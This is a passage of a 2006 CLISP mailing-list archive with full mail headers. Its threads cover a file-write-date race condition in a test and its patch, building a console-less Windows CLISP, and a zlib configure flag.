-0800 (PST) Received: from ?82.212.74.78? ( [82.212.74.78]) by mx.gmail.com with ESMTP id q13sm697342qbq.2006.01.25.11.08.14; Wed, 25 Jan 2006 11:08:16 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v623) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Lennart Staflin X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] streams.tst race condition Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 11:09:06 2006 X-Original-Date: Wed, 25 Jan 2006 20:08:08 +0100 Compiling clisp 2.38 I got an error from streams.tst but rerunning the test it worked. The test that failed was: #+clisp (let ((f "foo.bar") fwd size dir decoded) (unwind-protect (progn (with-open-file (s f :direction :output) (write s :stream s) (setq fwd (file-write-date s) size (file-length s))) (setq dir (first (directory f :full t)) decoded (subseq (multiple-value-list (decode-universal-time fwd)) 0 6)) (list (or (equal (third dir) decoded) (list dir fwd decoded)) (or (= (fourth dir) size) (list dir size)))) (delete-file f))) #+clisp (T T) The first part failed, the write date from file-write-date differed by 1 second from the directory result. But isn't it reasonable that closing a output file will update the write time? If so there is a race condition with the clock ticking over a second and the between the call to file-write-date and directory. //Lennart Staflin From sds@gnu.org Wed Jan 25 11:20:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1qBj-00085p-Sw for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:20:15 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1qBf-0007PN-0u for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:20:15 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PJJYXs027475; Wed, 25 Jan 2006 14:19:35 -0500 (EST) To: clisp-list@lists.sourceforge.net, Lennart Staflin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Lennart Staflin's message of "Wed, 25 Jan 2006 20:08:08 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Lennart Staflin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: streams.tst race condition Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 11:21:00 2006 X-Original-Date: Wed, 25 Jan 2006 14:18:53 -0500 > * Lennart Staflin [2006-01-25 20:08:08 +0100]: > > Compiling clisp 2.38 I got an error from streams.tst but rerunning the > test it worked. The test that failed was: > > #+clisp > (let ((f "foo.bar") fwd size dir decoded) > (unwind-protect > (progn (with-open-file (s f :direction :output) > (write s :stream s) > (setq fwd (file-write-date s) > size (file-length s))) > (setq dir (first (directory f :full t)) > decoded (subseq (multiple-value-list > (decode-universal-time fwd)) > 0 6)) > (list (or (equal (third dir) decoded) > (list dir fwd decoded)) > (or (= (fourth dir) size) > (list dir size)))) > (delete-file f))) > #+clisp (T T) > > The first part failed, the write date from file-write-date differed by > 1 second from the directory result. But isn't it reasonable that > closing a output file will update the write time? If so there is a > race condition with the clock ticking over a second and the between > the call to file-write-date and directory. very interesting. how about the appended patch? it should fix the race condition. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org http://www.savegushkatif.org http://www.memri.org http://www.dhimmi.com http://www.camera.org All generalizations are wrong. Including this. --- streams.tst 22 Jan 2006 16:48:52 -0500 1.44 +++ streams.tst 25 Jan 2006 14:18:00 -0500 @@ -977,8 +977,9 @@ (unwind-protect (progn (with-open-file (s f :direction :output) (write s :stream s) - (setq fwd (file-write-date s) - size (file-length s))) + (setq size (file-length s))) + (with-open-file (s f :direction :probe) + (setq fwd (file-write-date s))) (setq dir (first (directory f :full t)) decoded (subseq (multiple-value-list (decode-universal-time fwd)) From sds@gnu.org Wed Jan 25 11:24:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1qFu-0008Ls-CE for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:24:34 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1qFs-0002fu-QZ for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:24:34 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PJO6Dp028035; Wed, 25 Jan 2006 14:24:06 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060125163930.A257A67553@smtp3.netcologne.de> (Frank Buss's message of "Wed, 25 Jan 2006 17:39:32 +0100") References: <20060125163930.A257A67553@smtp3.netcologne.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP standalone version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 11:25:02 2006 X-Original-Date: Wed, 25 Jan 2006 14:23:16 -0500 > * Frank Buss [2006-01-25 17:39:32 +0100]: > > http://www.frank-buss.de/lisp/clab/trunk/clisp/index.html 1. the stream.d patch that breaks make_keyboard_stream() is not needed - even gui might want to receive keyboard input. 2. the win32aux.d patch discards the stdio. is it equivalent to detaching from a console? if yes, we should add 2 lisp functions instead: one to detach from a console, and one to open a new console: (console-close) and (console-open) 3. I don't know what -mwindows does. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org http://pmw.org.il http://www.mideasttruth.com http://www.camera.org http://www.honestreporting.com http://www.jihadwatch.org Never underestimate the power of stupid people in large groups. From fb@frank-buss.de Wed Jan 25 11:25:57 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1qHD-0008QI-U8 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:25:55 -0800 Received: from moutng.kundenserver.de ([212.227.126.186]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1qHB-0002XO-Lu for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:25:55 -0800 Received: from [213.196.231.146] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu6) with ESMTP (Nemesis), id 0ML29c-1F1qH92He3-0004Ls; Wed, 25 Jan 2006 20:25:52 +0100 From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYh38OeZRRasfYtSEC+Go+j/hbnaQAAnYYw In-Reply-To: Message-ID: <0ML29c-1F1qH92He3-0004Ls@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: CLISP standalone version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 11:26:12 2006 X-Original-Date: Wed, 25 Jan 2006 20:25:53 +0100 > I don't quite understand how you are going to use the console-less > CLISP. This question is simple: I want to create applications in Lisp, which starts without a console-window, just like nearly every other windows program, like Notepad, Minesweeper, Word, Outlook etc. > it will not have stdio, so it will have to do all interaction > over a GUI. With my patch it has no stdio, but of course you can create console-less programs, which can read from stdin and stdout. For example see this Windows program: #include #include int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { while (true) { int c = getchar(); if (c == EOF) break; putchar(c); } } $ gcc -mwindows main.cpp -o contest.exe Frank@GALILEI /c/tmp/contest $ echo "Hello" | contest.exe > out.txt Frank@GALILEI /c/tmp/contest $ cat out.txt Hello But you are right, the user has no REPL, that's the reason I suggest to create the console-less version in an extra directory, which then is used for delivering applications and developers can continue to use the "full" package and console-lisp.exe. > it appears that detaching from the console is all you want > and I see no reason not to do it at run time. If it is possible at runtime without first creating a console-window, this would be fine, but I don't think that this is possible. But perhaps the other way around could be possible: Open a console-window from a Windows program. > what does -mwindows do, exactly? See e.g. http://gcc.gnu.org/ml/gcc-help/2004-01/msg00225.html . The effect is that when the exe-file is executed by double-click, no console-window is created. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Wed Jan 25 11:41:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1qWG-0001KC-Kl for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:41:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1qWA-0001mZ-Dg for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:41:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PJekWS028821; Wed, 25 Jan 2006 14:40:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0ML29c-1F1qH92He3-0004Ls@mrelayeu.kundenserver.de> (Frank Buss's message of "Wed, 25 Jan 2006 20:25:53 +0100") References: <0ML29c-1F1qH92He3-0004Ls@mrelayeu.kundenserver.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP standalone version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 11:42:06 2006 X-Original-Date: Wed, 25 Jan 2006 14:40:04 -0500 > * Frank Buss [2006-01-25 20:25:53 +0100]: > > create the console-less version in an extra directory, which then is used > for delivering applications and developers can continue to use the "full" > package and console-lisp.exe. > >> it appears that detaching from the console is all you want >> and I see no reason not to do it at run time. > > If it is possible at runtime without first creating a console-window, > this would be fine, but I don't think that this is possible. But > perhaps the other way around could be possible: Open a console-window > from a Windows program. fine by me, as long as the current console window is re-used. >> what does -mwindows do, exactly? > > See e.g. http://gcc.gnu.org/ml/gcc-help/2004-01/msg00225.html . The > effect is that when the exe-file is executed by double-click, no > console-window is created. I see. the problem I have with -mwindows is that it requires distributing two more runtimes with clisp and that would increase the size of the distribution by maybe 30%. it will probably increase user confusion by much more than 30%. I would prefer that the normal lisp.exe opened a console depending on the command-line option "-console=yes" or "-console=no" and the default should be settable in SAVEINITMEM (like it is now for -q and -norc). actually, instead of open-console and close-console we need to be able to do (make-stream :console) that would create a new console window and return a terminal stream pointing to it. (make-stream :parent) should return a terminal stream pointing to the console from which clisp was started. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com http://www.mideasttruth.com http://www.savegushkatif.org http://www.jihadwatch.org http://www.openvotingconsortium.org It's not just a language, it's an adventure. Common Lisp. From fb@frank-buss.de Wed Jan 25 12:12:09 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1qzv-0003g6-3y for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:12:07 -0800 Received: from moutng.kundenserver.de ([212.227.126.171]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1qzs-0002Bj-Cq for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:12:07 -0800 Received: from [213.196.231.146] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu10) with ESMTP (Nemesis), id 0ML31I-1F1qzq1bjj-0001sA; Wed, 25 Jan 2006 21:12:03 +0100 From: "Frank Buss" To: Subject: RE: [clisp-list] Re: CLISP standalone version MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYh525mf5jIFRPHTGWE0C7vQ3PHMgAAnEDQ In-Reply-To: Message-ID: <0ML31I-1F1qzq1bjj-0001sA@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 12:13:02 2006 X-Original-Date: Wed, 25 Jan 2006 21:12:04 +0100 > fine by me, as long as the current console window is re-used. yes, this should be possible: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/bas e/allocconsole.asp AllocConsole creates a new console, but fails, if already attached to a console. > I would prefer that the normal lisp.exe opened a console depending on > the command-line option "-console=yes" or "-console=no" and > the default > should be settable in SAVEINITMEM (like it is now for -q and -norc). yes, this is a good idea. The clisp.exe starter can use the console=yes switch, then it should be backward compatible and we don't need another runtime directory. > actually, instead of open-console and close-console we need to be able > to do (make-stream :console) that would create a new console > window and > return a terminal stream pointing to it. (make-stream :parent) should > return a terminal stream pointing to the console from which clisp was > started. I don't know the internals of the console handling in CLISP. I've tried to rewrite the stdio-functions to work with lisp.exe compiled with -mwindows, but it crashed, sometimes only in Windows XP, sometimes in Windows 98. This was the reason for my hack with the Windows NUL device. But if you think your make-stream patch works, then it's fine by me, if you implement it. I can test it on Windows 98 and Windows XP (the two system I like to release programs for at least). -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Wed Jan 25 12:23:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1rBD-0004Yp-Fs for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:23:47 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1rB9-0008JG-Rf for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:23:47 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PKNAvg000928; Wed, 25 Jan 2006 15:23:11 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0ML31I-1F1qzq1bjj-0001sA@mrelayeu.kundenserver.de> (Frank Buss's message of "Wed, 25 Jan 2006 21:12:04 +0100") References: <0ML31I-1F1qzq1bjj-0001sA@mrelayeu.kundenserver.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP standalone version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 12:24:06 2006 X-Original-Date: Wed, 25 Jan 2006 15:22:21 -0500 > * Frank Buss [2006-01-25 21:12:04 +0100]: > > http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/allocconsole.asp > > AllocConsole creates a new console, but fails, if already attached to > a console. can an application open several console windows? e.g., to separate *standard-output* and *error-output* (like make-io-xterm) >> actually, instead of open-console and close-console we need to be >> able to do (make-stream :console) that would create a new console >> window and return a terminal stream pointing to it. (make-stream >> :parent) should return a terminal stream pointing to the console from >> which clisp was started. > > I don't know the internals of the console handling in CLISP. I've > tried to rewrite the stdio-functions to work with lisp.exe compiled > with -mwindows, but it crashed, sometimes only in Windows XP, > sometimes in Windows 98. This was the reason for my hack with the > Windows NUL device. But if you think your make-stream patch works, > then it's fine by me, if you implement it. I can test it on Windows 98 > and Windows XP (the two system I like to release programs for at > least). no, you will have to do it yourself. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org http://www.camera.org http://pmw.org.il http://www.savegushkatif.org http://www.openvotingconsortium.org Never underestimate the power of stupid people in large groups. From fb@frank-buss.de Wed Jan 25 12:34:55 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1rLz-0005Ya-E3 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:34:55 -0800 Received: from moutng.kundenserver.de ([212.227.126.187]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1rLt-0001om-Vt for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:34:55 -0800 Received: from [213.196.231.146] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu3) with ESMTP (Nemesis), id 0MKxQS-1F1rLo3lr7-000069; Wed, 25 Jan 2006 21:34:45 +0100 From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYh7TUwnTcqhlhaS7mOimfttOYBzgAAMhGw In-Reply-To: Message-ID: <0MKxQS-1F1rLo3lr7-000069@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: CLISP standalone version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 12:35:02 2006 X-Original-Date: Wed, 25 Jan 2006 21:34:46 +0100 > can an application open several console windows? > e.g., to separate *standard-output* and *error-output* (like > make-io-xterm) the MSDN documentation for AllocConsole says: "A process can be associated with only one console". But I think you can separate standard-output and error-output, but not in different console windows, but e.g. standard-output in a console-windows and error-output in a file. > no, you will have to do it yourself. Sorry, currently I don't have much time and the console handling in CLISP looks a bit confusing for me, with all those supported operating systems and special cases, perhaps next month, but for now I can live with my patch :-) -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From pjb@informatimago.com Wed Jan 25 12:55:03 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1rfT-0006ur-0w for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:55:03 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1rfQ-0005a8-EJ for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:55:03 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id BE0FD586AA; Wed, 25 Jan 2006 21:54:46 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 955BB586A7; Wed, 25 Jan 2006 21:54:41 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4D1988305; Wed, 25 Jan 2006 21:54:40 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17367.58768.276978.291863@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20060125161617.EF5B28305@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: zlib 1.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 12:56:00 2006 X-Original-Date: Wed, 25 Jan 2006 21:54:40 +0100 Sam Steingold writes: > > * Pascal Bourguignon [2006-01-25 17:16:17 +0100]: > > > > Using ./configure --with-${LIBRARY}-prefix=/some/path is not enough to > > have it find a library. > > yes it is. > > > I've installed zlib 1.2 (with --prefix=/usr/local) in /usr/local. > > > > Then I try to compile clisp (2.35 - 2.38) > > with ./configure --with-zlib-prefix=/usr/local ... -with-module=zlib > > but it keeps complaining about zlib: > > zlib names the package, not the library. > try "--with-libz-prefix=/usr/local" instead. All right. Thank you. > this option is added by > AC_LIB_LINKFLAGS([z]) > so all further inquiries should be directed to the autoconf maintainers. -- __Pascal Bourguignon__ http://www.informatimago.com/ Until real software engineering is developed, the next best practice is to develop with a dynamic system that has extreme late binding in all aspects. The first system to really do this in an important way is Lisp. -- Alan Kay From sds@gnu.org Wed Jan 25 13:05:54 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1rpx-0007cr-S0 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 13:05:53 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1rpv-0005YV-9h for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 13:05:53 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PL4smx002926; Wed, 25 Jan 2006 16:05:09 -0500 (EST) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17367.58768.276978.291863@thalassa.informatimago.com> (Pascal Bourguignon's message of "Wed, 25 Jan 2006 21:54:40 +0100") References: <20060125161617.EF5B28305@thalassa.informatimago.com> <17367.58768.276978.291863@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: zlib 1.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 13:06:08 2006 X-Original-Date: Wed, 25 Jan 2006 16:04:13 -0500 > * Pascal Bourguignon [2006-01-25 21:54:40 +0100]: > > Sam Steingold writes: >> > * Pascal Bourguignon [2006-01-25 17:16:17 +0100]: >> > >> > Using ./configure --with-${LIBRARY}-prefix=/some/path is not enough to >> > have it find a library. >> >> yes it is. >> >> > I've installed zlib 1.2 (with --prefix=/usr/local) in /usr/local. >> > >> > Then I try to compile clisp (2.35 - 2.38) >> > with ./configure --with-zlib-prefix=/usr/local ... -with-module=zlib >> > but it keeps complaining about zlib: >> >> zlib names the package, not the library. >> try "--with-libz-prefix=/usr/local" instead. > > All right. Thank you. > >> this option is added by >> AC_LIB_LINKFLAGS([z]) >> so all further inquiries should be directed to the autoconf maintainers. please try ./configure --help ./configure --help-modules -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org http://truepeace.org http://pmw.org.il http://www.openvotingconsortium.org http://www.savegushkatif.org The plural of "anecdote" is not "data". From pjb@informatimago.com Wed Jan 25 13:29:12 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1sCS-00013t-OV for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 13:29:08 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1sCO-0007CS-N2 for 